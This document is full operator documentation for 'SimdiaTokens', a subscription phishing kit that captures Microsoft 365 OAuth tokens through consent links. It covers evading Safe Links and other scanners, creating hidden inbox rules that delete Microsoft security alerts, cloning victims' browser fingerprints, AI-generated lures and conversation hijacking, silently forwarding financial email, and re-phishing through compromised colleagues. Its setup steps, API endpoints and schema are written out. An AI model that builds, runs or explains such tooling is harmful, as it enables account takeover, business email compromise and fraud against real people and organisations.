

SimdiaTokens v5 — Complete System Documentation

SimdiaTokens is a multi-tenant platform for Microsoft 365 / Outlook email security testing. Each client gets their own isolated deployment with separate Cloudflare Worker, Vercel frontend, and Railway backend.

Version: 5.0 | **Updated:** July 2026 | **Repository:** <https://github.com/simdie/simdiatokens-v2>

PART 1: SYSTEM OVERVIEW

Architecture

```
SUPER ADMIN (manages all client deployments)
|
├─ CLIENT 1: "oroja" (admin: ablegod)
|   ├─ Frontend: Vercel (oroja-simdia.vercel.app)
|   ├─ API:      Railway (api-production-26bd.up.railway.app)
|   ├─ Worker:   Cloudflare (simdia-oroja-worker.lubaking-co.workers.dev)
|   └─ Database: SQLite (Railway volume /app/data/simdiatokens.db)
|
├─ CLIENT 2: "alleged" (admin: starboy)
|   ├─ Frontend: Vercel (alleged-simdia.vercel.app)
|   ├─ API:      Railway (api-production-0662.up.railway.app)
|   ├─ Worker:   Cloudflare (simdia-alleged-worker.lubaking-co.workers.dev)
|   └─ Database: SQLite (isolated volume)
|
└─ ... (unlimited clients, each completely separate)
```

Tech Stack

Part	Technology
Frontend	Next.js 16 + TypeScript + Tailwind CSS

Part	Technology
Backend	Rust / Actix-web + SQLite
Worker	Cloudflare Workers (anti-scanner stealth)
AI	OpenAI GPT-4o Mini
Auth	JWT (7-day) + Argon2id
Encryption	AES-256-GCM
Alerts	Telegram Bot

PART 2: USER GUIDE

2.1 Logging In

1. Open your assigned Vercel URL (e.g., `https://oroja-simdia.vercel.app`)
2. Enter your username and password
3. You'll see the main dashboard

Expiration Badge

- Top right corner, next to the bell icon
- Shows expiration date and days remaining
- Color coded: Green (safe), Amber (≤ 7 days), Red (≤ 3 days)
- If you see "No expiry" or it's missing, ask super admin to set your subscription

2.2 Dashboard

Token Table

Each row shows a captured email account: - **Email**: The captured email address - **Status**: ACTIVE, EXPIRED, or REVOKED - **Type**: Enterprise (M365) or Consumer (hotmail/outlook) - **IP**: Target's IP address and location - **Captured**: When the token was captured - **Last Refreshed**: When the access token was last renewed

Action Buttons (per row)

Button	What It Does
ONEDRIVE	Browse target's OneDrive files
EXCHANGE	Open inbox rules management page
OUTLOOK	Open full Outlook email interface
Contacts	Extract and categorize email contacts
Rules	Create and manage inbox rules
Refresh	Manually refresh the access token
Delete	Delete token (also cleans up Graph rules)

2.3 Capturing Tokens

Step 1: Generate Link

1. Click **Campaigns** in sidebar
2. Click **Generate OAuth Link**
3. Dialog shows two link options:
4. **Redirect Link (Recommended)**: `https://your-api/api/campaigns/redirect` — short, stable, always works
5. **Full URL**: Complete Microsoft OAuth link — direct, no redirect

Step 2: Send to Target

- Send via email, Teams chat, calendar invite, or any platform
- When target clicks: Microsoft login → consent → token captured → target sees normal Outlook
- You get Telegram notification

Step 3: View Token

- Token appears on dashboard within seconds
- Click any action button to access the mailbox

2.4 Contacts Extraction

How to Use

- 1. Click **Contacts** button on any token
- 2. System scans three sources:
- 3. Personal contacts (address book, up to 500)
- 4. Inbox messages (senders and recipients, last 200)
- 5. Sent items (recipients of last 200 sent emails)
- 6. All emails categorized:

Category	Color	What It Includes
Enterprise	Blue	Business/corporate emails powered by Office 365
Consumer	Purple	Microsoft personal (outlook, hotmail, live, msn + 40 intl variants)
Other Email Service	Orange	Non-Microsoft free email (gmail, yahoo, aol, icloud, proton, qq, +80 more)

- 1. Use filter buttons to show only one category
- 2. Click **Copy All (N)** to copy filtered emails to clipboard

2.5 Inbox Rules

Creating Rules

- 1. Go to **Rules** page (click EXCHANGE on a token, or Rules button)
- 2. **Conditions** (set one or more):
- 3. Subject contains (enter keywords)
- 4. Body contains
- 5. Sender contains
- 6. Has attachments
- 7. Importance (normal, high, low)
- 8. Size range
- 9. Sent only to me / not sent to me

10. Is encrypted / is meeting request / is signed / is voicemail
11. **Actions** (set one or more):
12. Forward to (enter email address)
13. Forward as attachment
14. Redirect to
15. Delete message
16. Permanent delete
17. Mark as read
18. Move to folder (local-only, invisible in target's Outlook)
19. Categorize as
20. Stop processing other rules
21. **Self-destruct**: Set "Max fires" (rule auto-deletes after firing N times)
22. Click **Create Rule**

How Rules Execute

- **Graph-synced**: Fires instantly on Microsoft's server. Email deleted/forwarded before reaching inbox. Target never sees it.
- **Local-only fallback**: If Graph sync fails, background polls every 10 seconds for 5 minutes.
- **Self-destructing**: After max fires reached, both Graph rule and local rule are deleted. No trace.

Graph API Rules Tab

- Shows all rules that exist in the target's actual Outlook
- Includes system-created OPSEC rules (External Mail Filter, Security Update, Alert Filter)
- When token is deleted, system cleans up all Graph rules it created

2.6 Outlook Interface

Accessing

1. Click **OUTLOOK** on any token
2. Full three-pane Outlook interface opens

Folders

- Well-known folders: Inbox, Drafts, Sent Items, Deleted Items, Archive, Junk Email, Outbox, Conversation History

- System fetches up to 100 folders (handles enterprise mailboxes with many folders)
- Folders sorted by standard order, custom folders at bottom
- Local folders (Starred) exist only in admin panel, invisible to target

Email Operations

- **Read:** Click any email to view full HTML content
 - **Compose:** New Mail button → To, CC, BCC, Subject, Body, Attachments
 - **Reply/Reply All/Forward:** Pre-filled with original message
 - **Delete:** Single or bulk select
 - **Move:** Between folders
 - **Mark read/unread:** Syncs to target's real Outlook
 - **Search:** Real-time filtering
-

2.7 OPSEC (Staying Hidden)

Automatic Protection (3-4 Rules Created on Capture)

Rule 1a — "External Mail Filter" (10 sender addresses): Auto-deletes emails from: - account-security-noreply@accountprotection.microsoft.com - microsoftaccount@microsoft.com - security@microsoft.com - microsoft@communications.microsoft.com - no-reply@accountprotection.microsoft.com - no-reply@microsoft.com - azureadnotification@microsoft.com - no-reply@azureadnotifications.microsoft.com - msonlineserviceteam@microsoftonline.com - no-reply@signin.microsoft.com

Rule 1b — "External Mail Filter 2" (4 sender addresses): - account-security-noreply@signin.microsoft.com - office365alerts@microsoft.com - no-reply@notifications.microsoft.com - noreply@notifications.microsoft.com

(Split into 2 rules because Microsoft Graph limits `fromAddressContains` to 10 entries per rule)

Rule 2 — "Security Update" (35+ subject keywords): - "New app", "New app(s)", "have access to your data" - "suspicious sign-in", "unusual sign-in", "unusual activity" - "password changed", "security alert", "security notification" - "verify your identity", "MFA", "two-step verification" - "Creation of forwarding", "MailRedirect", "forwarding/redirect" - "inbox rule was created", "suspicious inbox rule" - And 20+ more

Rule 3 — "Alert Filter" (Office 365 alerts): - "Creation of forwarding/redirect rule" - "Informational alert has been triggered" - "forwarding was set up" - "suspicious forwarding" -

"transport rule"

Browser Fingerprint Cloning

- All Graph API calls use target's real User-Agent and Accept-Language
- Microsoft's risk engine sees requests as "familiar"
- No "unusual sign-in" alerts triggered

Sent Items Cleanup

- Lure emails sent from target's account are auto-deleted from Sent Items
 - Target never sees that an email was sent
-

2.8 Worker Health & Auto-Recovery

Health Monitoring (Every 60 Seconds)

1. Checks Worker `/status` endpoint (HTTP 200 = script running)
2. Checks Worker `/oauth/callback` endpoint (HTTP 403 = Cloudflare blocking)

Auto-Recovery (After 2 Failures, ~2 Minutes)

1. **Same-name re-deploy**: Tries re-deploying to same worker name (fixes crashes, keeps old links alive)
2. **New-name deploy**: If same-name fails (flagged/banned), creates new worker with random name
3. **Database update**: `worker_config` table updated with new active worker
4. **Telegram alert**: Sent with new worker name and redirect URI + Azure instructions

Stable Redirect Link

- `https://your-api/api/campaigns/redirect` always points to the active worker
 - Old links using this URL continue working after worker replacement
 - Only direct worker URLs (`simdia-xxx-worker.lubaking-co.workers.dev/start`) die when flagged
-

2.9 Anti-Scanner Protection

How It Works

The Cloudflare Worker script includes bot/scanner detection:

Detected scanners: - Microsoft Safe Links, Defender, EOP, ATP - MSN Bot, Bing Preview - Googlebot, Slurp, Baidu Spider - URL scanners (urlscan, virustotal, shodan, censys) - Headless browsers (PhantomJS, Puppeteer, Selenium) - HTTP libraries (curl, wget, python-requests, okhttp) - Generic bots

Scanner behavior: - Scanners get a benign "Loading..." page (HTTP 200) - No OAuth redirect, no Microsoft login URL, no suspicious content - Nothing to flag

Real browser behavior: - Gets JavaScript-based redirect (not HTTP 302) -

`window.location.replace()` redirects to Microsoft login - Falls back to meta-refresh for JS-disabled browsers

2.10 Reconnaissance

Data Collected Per Token

Data	Source
User Profile	Graph API <code>/me</code> — name, title, department, office, phone, company
Manager	Graph API <code>/me/manager</code> — who target reports to
Direct Reports	Graph API <code>/me/directReports</code> — who reports to target
Group Memberships	Graph API <code>/me/memberOf</code> — all Azure AD groups
Organization	Graph API <code>/organization</code> — tenant name, verified domains

2.11 AI-Powered Features

Email Mimicking

- Analyzes target's Sent Items (up to 15 emails)
- Learns greeting, closing, vocabulary, formality, signature

- Generates emails indistinguishable from target's natural writing

Smart Rule Suggestions

- AI analyzes inbox patterns
- Suggests 3-5 stealthy interception rules
- Targets financial emails, invoices, executive communications

Conversation Hijacking

- Scans inbox for active threads (2+ messages)
- AI generates replies that naturally continue conversation
- Embeds OAuth link as natural call-to-action

Financial Pattern Detection

- Scans inbox for 30+ financial keywords
- Auto-forwards matching emails to external address
- Deletes originals from inbox

Polymorphic Lure Generation

- Every lure email is structurally unique
- Randomized greeting, closing, link text, font, paragraph count
- Defeats pattern-based detection

6 Lure Templates

1. Shared Document (OneDrive/SharePoint)
2. Meeting Follow-up (Teams)
3. Invoice (vendor payment)
4. Password Reset (IT notice)
5. Package Delivery
6. Default (generic business email)

2.12 Advanced Features

Auto-Re-Harvest (Self-Healing)

When a token is revoked (password changed, app removed): 1. System finds another compromised account from same company 2. Sends lure email from that account to the revoked account 3. Deletes sent email from sender's Sent Items (OPSEC) 4. System heals itself without admin intervention

Cross-Account Intelligence

- Correlates all compromised accounts from same organization
- Shows communication patterns
- Suggests auto-forwarding rules between accounts
- Maps organization's communication graph

Silent Calendar Manipulation

- Injects fake meetings into target's calendar
- Customizable subject, time, duration, location

Calendar Lure Delivery

- Creates calendar event with OAuth link as "Join Meeting" button
- Bypasses email security (calendar events have different scanning)

Teams Chat Delivery

- Sends OAuth links via 1:1 Teams chat
- Bypasses email security entirely
- Also supports Teams channel messages

Deleted Items Management

- View all messages in target's Deleted Items
- Permanently purge all deleted items (unrecoverable)

2.13 Analytics

Dashboard Metrics

- Active/Expired/Revoked token counts
- Operation success rate percentage
- Token activity timeline (created vs revoked)

- Action distribution (recon, rule_created, token_stored, etc.)
- Top target domains
- Recent activity feed (live audit log)

Filtering

- 24 hours, 7 days, 30 days, or custom date range
-

2.14 Settings

- **AI Configuration:** OpenAI API key, model, max tokens
 - **Encryption:** Set/change master passphrase
 - **Stealth Mode:** Toggle stealth configuration
 - **Rules Management:** View all rules across all tokens
 - **Purge Expired:** Bulk delete expired/revoked tokens
 - **Password Change:** Change admin password
-

PART 3: SUPER ADMIN GUIDE

3.1 Accessing Super Admin

- URL: `https://simdiatokens-frontend.vercel.app/super-admin`
- Login with super admin credentials

3.2 Managing Deployments

Creating a New Client

1. Click "One-Click Deploy"
2. Fill in: admin username, email, password, subscription days, client name
3. Optional: Railway API token (auto-creates Railway project)
4. Optional: GitHub repo (defaults to `simdie/simdiatokens-v2`)
5. System auto-creates: Cloudflare Worker, env configs, admin account

Manual Steps After One-Click Deploy

1. **Railway backend** (if not auto-deployed): Create service, paste env vars, add volume `/app/data`
2. **Cloudflare Worker**: Update `MAIN_SERVER` to Railway URL, enable `workers.dev` subdomain
3. **Vercel frontend**: Import repo, set `NEXT_PUBLIC_API_URL` = Railway URL
4. **Azure Portal**: Add redirect URI for the new worker

Managing Existing Clients

- **Edit**: Update subscription, password, URLs
- **Suspend**: Instantly block login (shows "SUBSCRIPTION EXPIRED")
- **Unsuspend**: When extending subscription, system auto-syncs `suspended: false` to client backend
- **Delete**: Remove deployment (Graph rules cleaned up)

PART 4: TECHNICAL REFERENCE

4.1 API Endpoints

Auth

Method	Path	Description
POST	<code>/api/auth/login</code>	JWT login (returns user with <code>expires_at</code> , <code>usage_days</code>)
POST	<code>/api/auth/register</code>	Register new user
GET	<code>/api/auth/me</code>	Current user profile
POST	<code>/api/auth/change-password</code>	Change password

Tokens

Method	Path	Description
GET	<code>/api/tokens</code>	List all tokens (up to 100 folders)

Method	Path	Description
DELETE	/api/tokens	Delete tokens (cleans up Graph rules)
GET	/api/tokens/health	Token health summary
POST	/api/tokens/store	Store a token
POST	/api/refresh	Refresh a token

Campaigns

Method	Path	Description
GET	/api/campaigns	List campaigns
GET	/api/campaigns/generate-link	Generate OAuth link (returns link + short_link)
GET	/api/campaigns/redirect	Stable redirect to active worker
POST	/api/campaigns/deploy-worker	Deploy/redeploy Cloudflare Worker

Contacts

Method	Path	Description
GET	/api/contacts	List contacts
GET	/api/contacts/extract	Extract emails (scans contacts + inbox + sent items)
POST	/api/contacts	Create contact
PATCH	/api/contacts/{id}	Update contact
DELETE	/api/contacts/{id}	Delete contact

Rules

Method	Path	Description
GET	/api/rules	List rules for token

Method	Path	Description
POST	/api/rules/create	Create rule (Graph-synced + local)
DELETE	/api/rules/{id}	Delete rule
GET	/api/rules/graph	Fetch Graph rules from target's Outlook
POST	/api/rules/ai-suggest	AI rule suggestions

Other

Method	Path	Description
POST	/api/recon/run	Run reconnaissance
POST	/api/lure/mimic	AI email mimicking
POST	/api/conversation/hijack	Conversation hijacking
POST	/api/financial/scan	Financial pattern detection
POST	/api/calendar/inject-meeting	Silent calendar manipulation
GET	/api/analytics/overview	Analytics
GET	/api/audit/logs	Audit logs

4.2 Environment Variables

Required (Backend)

Variable	Description
DATABASE_URL	sqlite:///app/data/simdiatokens.db
JWT_SECRET	JWT signing secret (unique per deployment)
MASTER_SECRET	Token encryption key (unique per deployment)

Variable	Description
CLIENT_ID	Azure AD app client ID
CLIENT_SECRET	Azure AD app client secret VALUE (not Secret ID)
CF_WORKER_NAME	Cloudflare Worker name
CF_WORKERS_SUBDOMAIN	Cloudflare Workers subdomain

Optional

Variable	Description
CF_API_TOKEN	Cloudflare API token (for Worker auto-recovery)
CF_ACCOUNT_ID	Cloudflare account ID (for Worker auto-recovery)
OPENAI_API_KEY	OpenAI API key for AI features
TELEGRAM_BOT_TOKEN	Telegram bot token for alerts
TELEGRAM_CHAT_ID	Telegram chat ID for alerts
SEED_ADMIN_USERNAME	Default admin username
SEED_ADMIN_PASSWORD	Default admin password
SEED_ADMIN_USAGE_DAYS	Default subscription duration (default: 30)

Frontend (Vercel)

Variable	Description
NEXT_PUBLIC_API_URL	Backend API URL (e.g., <code>https://your-api.up.railway.app</code>)

4.3 Database Schema

users

```
CREATE TABLE users (
  id TEXT PRIMARY KEY,
  username TEXT NOT NULL UNIQUE,
  email TEXT,
  password_hash TEXT NOT NULL,
  role TEXT NOT NULL DEFAULT 'viewer',
  super_admin BOOLEAN NOT NULL DEFAULT 0,
  suspended BOOLEAN NOT NULL DEFAULT 0,
  expires_at DATETIME,
  usage_days INTEGER,
  api_url TEXT,
  frontend_url TEXT,
  worker_url TEXT,
  created_at DATETIME NOT NULL
);
```

harvested

```
CREATE TABLE harvested (
  id TEXT PRIMARY KEY,
  email TEXT,
  access_token TEXT,
  refresh_token TEXT,
  expires_at DATETIME,
  captured_at DATETIME,
  source TEXT,
  ip_address TEXT,
  location TEXT,
  tenant_id TEXT,
  category TEXT,
  account_type TEXT,
  last_refreshed_at DATETIME,
  status TEXT,
  user_agent TEXT,
  accept_language TEXT,
  session_status TEXT DEFAULT 'active',
  session_active_at DATETIME,
  session_killed_at DATETIME
);
```

tokens (encrypted vault)


```
CREATE TABLE tokens (
  id TEXT PRIMARY KEY,
  campaign_id TEXT,
  user_email TEXT,
  encrypted_access_token BLOB NOT NULL,
  encrypted_refresh_token BLOB NOT NULL,
  access_salt BLOB NOT NULL,
  refresh_salt BLOB NOT NULL,
  scopes TEXT,
  expires_at DATETIME NOT NULL,
  created_at DATETIME NOT NULL,
  last_refreshed_at DATETIME,
  status TEXT DEFAULT 'active',
  account_type TEXT,
  session_status TEXT DEFAULT 'active',
  session_active_at DATETIME,
  session_killed_at DATETIME
);
```

worker_config (Worker health tracking)

```
CREATE TABLE worker_config (
  id INTEGER PRIMARY KEY CHECK (id = 1),
  active_worker_name TEXT NOT NULL,
  workers_subdomain TEXT NOT NULL,
  worker_url TEXT NOT NULL,
  redirect_uri TEXT NOT NULL,
  status TEXT NOT NULL DEFAULT 'unknown',
  last_checked_at TEXT,
  consecutive_failures INTEGER NOT NULL DEFAULT 0,
  created_at TEXT NOT NULL,
  updated_at TEXT NOT NULL
);
```

created_rules

```
CREATE TABLE created_rules (
  id TEXT PRIMARY KEY,
  token_id TEXT,
  graph_rule_id TEXT,
  display_name TEXT,
```

```

disguise_name TEXT DEFAULT 'External Mail Filter',
conditions_json TEXT,
actions_json TEXT,
target_folder TEXT,
forward_to TEXT,
created_at DATETIME,
status TEXT DEFAULT 'active',
fire_count INTEGER DEFAULT 0,
max_fires INTEGER
);

```

4.4 Deployment Guide

Backend (Railway)

1. Railway Dashboard → New Project → Deploy from GitHub → `simdie/simdiatokens-v2`
2. Root directory: `SimdiaTokens/simdiatokens_server`
3. Add volume: mount path `/app/data`
4. Add environment variables (see above)
5. **Important:** `CLIENT_SECRET` must be the secret VALUE, not the Secret ID
6. Deploy — wait ~3-5 minutes

Cloudflare Worker

1. Go to Cloudflare Dashboard → Workers
2. Deploy worker script (or use "Deploy Worker" button in campaigns page)
3. Set environment variables:
4. `MAIN_SERVER` = Railway URL
5. `CLIENT_ID` = Azure AD client ID
6. `REDIRECT_URI` = `https://your-worker.workers.dev/oauth/callback`
7. Enable workers.dev subdomain

Frontend (Vercel)

1. Vercel Dashboard → Import GitHub repo: `simdie/simdiatokens-v2`
2. Root directory: `SimdiaTokens-frontend`
3. Environment variable: `NEXT_PUBLIC_API_URL` = Railway URL
4. Deploy

Azure AD App Registration

1. Portal → App registrations → find app → Authentication
2. Add redirect URI for each worker: `https://worker-name.workers.dev/oauth/callback`
3. API permissions: Microsoft Graph (delegated): Mail.ReadWrite, Mail.Send, Contacts.Read, User.Read, MailboxSettings.ReadWrite, openid, offline_access
4. For Worker auto-recovery: Add Application permission `Application.ReadWrite.All` + grant admin consent

Fork Sync (for separate GitHub accounts)

1. Fork `simdie/simdiatokens-v2` to your GitHub account
2. Add sync-upstream workflow (`.github/workflows/sync-upstream.yml`)
3. Enable Actions on fork
4. Fork auto-syncs every 5 minutes

4.5 Troubleshooting

Problem	Solution
"SUBSCRIPTION EXPIRED"	Super admin extends subscription → system auto-syncs and unsuspends
"Failed to fetch"	Check <code>NEXT_PUBLIC_API_URL</code> on Vercel matches Railway URL
OAuth doesn't capture	Check <code>CLIENT_SECRET</code> is the VALUE (starts with <code>yEz8Q~</code>), not Secret ID
"Invalid client secret"	Azure Portal → Certificates & secrets → copy the VALUE, not the ID
Worker flagged	System auto-replaces in ~2 min → Telegram alert → add new URI to Azure
Missing folders	System now fetches 100 folders (was 10) — deploy latest code
Stale Graph rules	Token deletion now cleans up Graph rules — re-capture to see clean state

Problem	Solution
OPSEC rule failed	<code>UnableToDeserializePostBody</code> = too many addresses. Now split into 2 rules (10 + 4)
Fork not syncing	Enable GitHub Actions on fork → check sync-upstream workflow ran

Document Version: 5.0 **Updated:** July 2026 **Project:** SimdiaTokens v5 **Repository:**
<https://github.com/simdie/simdiatokens-v2>